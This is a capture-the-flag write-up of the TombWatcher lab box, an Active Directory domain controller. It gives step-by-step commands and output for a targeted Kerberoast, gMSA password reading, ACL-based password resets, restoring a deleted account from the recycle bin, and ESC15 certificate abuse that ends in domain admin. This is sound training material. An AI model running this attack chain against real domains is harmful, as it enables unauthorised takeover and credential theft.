Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-08 12:11:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:16+00:00; +4h01m46s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:15+00:00; +4h01m45s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:16+00:00; +4h01m46s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-06-08T12:13:15+00:00; +4h01m45s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
49724/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 4h01m45s, deviation: 0s, median: 4h01m44s
| smb2-time:
| date: 2025-06-08T12:12:37
|_ start_date: N/A
Based on the nmap scan I’m dealing with the Domain Controller DC01
for the tombwatcher.htb
domain. I’ll add the domain, hostname and FQDN to my /etc/hosts
file.
Initial Access
Info
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account:
henry / H3nry_987TGV!
Privilege Escalation
Access as alfred
Since I already possess valid credentials I’ll start by gathering the data for BloodHound via bloodhound-ce-python.
$ bloodhound-ce-python -d tombwatcher.htb \
-dc dc01.tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
-c All \
-ns 10.129.221.155 \
--dns-tcp \
--zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: tombwatcher.htb
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 22 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 06S
INFO: Compressing output into 20250608112945_bloodhound.zip
After loading the ZIP archive into the application, I can see one outbound edge from henry
to alfred
allowing me to modify the Service Principal Name.
Through adding a SPN to alfred
I can request a TGS for that account and attempt to bruteforce the password. Adding the attribute and requesting the ticket to extract the hash can be automated with targetedKerberoast.
$ faketime -f +4h python targetedKerberoast.py -d tombwatcher.htb \
-u henry \
-p 'H3nry_987TGV!' \
--request-user alfred
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$10<REDACTED>f1
hashcat just needs a few seconds to produce the cleartext password of basketball
for user alfred
.
Access as ansible_dev$
Going back to BloodHound shows the user alfred
is able to add themself to the INFRASTRUCTURE
group, granting all members the privilege to read the password of the group-managed service account ansible_dev$
.
First I add the user alfred
to the group and then read the password of the account ansible_dev$
. Both steps can be accomplished with bloodyAD.
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'alfred' \
-p 'basketball' \
add groupMember 'INFRASTRUCTURE' 'alfred'
[+] alfred added to INFRASTRUCTURE
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'alfred' \
-p 'basketball' \
get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw=
Access as sam
Once again I check the outbound edges in BloodHound to discover the ability to change the password of user sam
by using the credentials for ansible_dev$
.
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'ANSIBLE_DEV$' \
-p :1c37d00093dc2a5f25176bf2d474afdc \
set password sam 'Helloworld123!'
[+] Password changed successfully!
Shell as john
Using sam
s access I can modify the owner of account john
, effectively granting myself GenericAll over the object. This allows me to reset the password and login via evil-winrm thanks to the membership in REMOTE MANAGEMENT USERS
to collect the first flag.
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'sam' \
-p 'Helloworld123!' \
set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'sam' \
-p 'Helloworld123!' \
add genericAll john sam
[+] sam has now GenericAll on john
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'sam' \
-p 'Helloworld123!' \
set password john 'Helloworld123!'
[+] Password changed successfully!
Shell as Administrator
BloodHound is reporting GenericAll from john
over the organizational unit ADCS
, but the OU is currently completely empty. I then decide to check for soft-deleted objects within the Active Directory Recycle Bin. Enumerating the deleted objects with PowerShell1 finds 3 versions of cert_admin
, previously part of ADCS
.
PS > Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties cn,objectSid,isDeleted | Where-Object { $_.isDeleted -eq $true }
CN : Deleted Objects
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted : True
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 34509cb3-2b23-417b-8b98-13f0bd953319
CN : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted : True
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1109
CN : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted : True
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1110
CN : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted : True
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
The name of the OU and the account let me assume that those might be related to the Active Directory Certificate Service and therefore I query the enabled templates via certipy. Within the template WebServer
the account with SID S-1-5-21-1392491010-1358638721-2126982587-1111
has enrollment rights.
$ certipy-ad find -dc-host dc01.tombwatcher.htb \
-u henry@tombwatcher.htb \
-p 'H3nry_987TGV!' \
-stdout
--- SNIP ---
17
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
[+] User Enrollable Principals : TOMBWATCHER.HTB\Domain Admins
[+] User ACL Principals : TOMBWATCHER.HTB\Domain Admins
Therefore I restore the object 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
from the recycle bin.
PS > Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Before I can reset the password, I’ll apply a DACL with inheritance granting the user john
FullControl over all objects in the OU.
$ impacket-dacledit -action 'write' \
-rights 'FullControl' \
-inheritance \
-principal 'john' \
-target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
TOMBWATCHER.HTB/john:'Helloworld123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250608-105855.bak
[*] DACL modified successfully!
$ bloodyAD --host 'dc01.tombwatcher.htb' \
-d 'tombwatcher.htb' \
-u 'john' \
-p 'Helloworld123!' \
set password cert_admin 'Helloworld123!'
[+] Password changed successfully!
With the new account I rerun certipy to check for vulnerable templates. This time ESC15
is found within template WebServers
.
$ certipy-ad find -dc-host dc01.tombwatcher.htb \
-u cert_admin@tombwatcher.htb \
-p 'Helloworld123!' \
-vulnerable \
-stdout
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
ESC15
, tracked as CVE-2024-49019
, allows the injection of an Application Policy so that the template can be used for Client Authentication2.
I begin by requesting a new certificate for administrator@tombwatcher.htb
while adding the required policy and the SID of the account.
$ certipy-ad req -dc-host dc01.tombwatcher.htb \
-u cert_admin@tombwatcher.htb \
-p 'Helloworld123!' \
-ns 10.129.221.155 \
-dns-tcp \
-ca 'tombwatcher-CA-1' \
-template 'WebServer' \
-upn 'administrator@tombwatcher.htb' \
-sid S-1-5-21-1392491010-1358638721-2126982587-500 \
-application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Then I use the certificate to gain a ldap shell as TOMBWATCHER\Administrator
and add the user henry
to the Domain Admins
group. This allows me to take over the domain and collect the final flag.
$ faketime -f +4h certipy-ad auth -pfx administrator.pfx \
-dc-ip 10.129.221.155 \
-ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@tombwatcher.htb'
[*] SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Connecting to 'ldaps://10.129.221.155:636'
[*] Authenticated to '10.129.221.155' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands
# whoami
u:TOMBWATCHER\Administrator
# add_user_to_group henry 'Domain Admins'
Adding user: henry to group Domain Admins result: OK
Attack Path
flowchart TD subgraph "Privilege Escalation" A(Access as henry) -->|Targeted Kerberoast| B(Access as alfred) B -->|AddSelf| C(Member of INFRASTRUCTURE) C -->|ReadGMSAPassword| D(Acess as ansible_dev$) D -->|Password Change| E(Access as sam) E -->|Change ownership| F(Shell as John) F -->|Restore user from AD Recycle Bin| G(Access as cert_admin) G -->|ESC15| H(Add henry to Domain Admins) H --> I(Shell as Administrator) end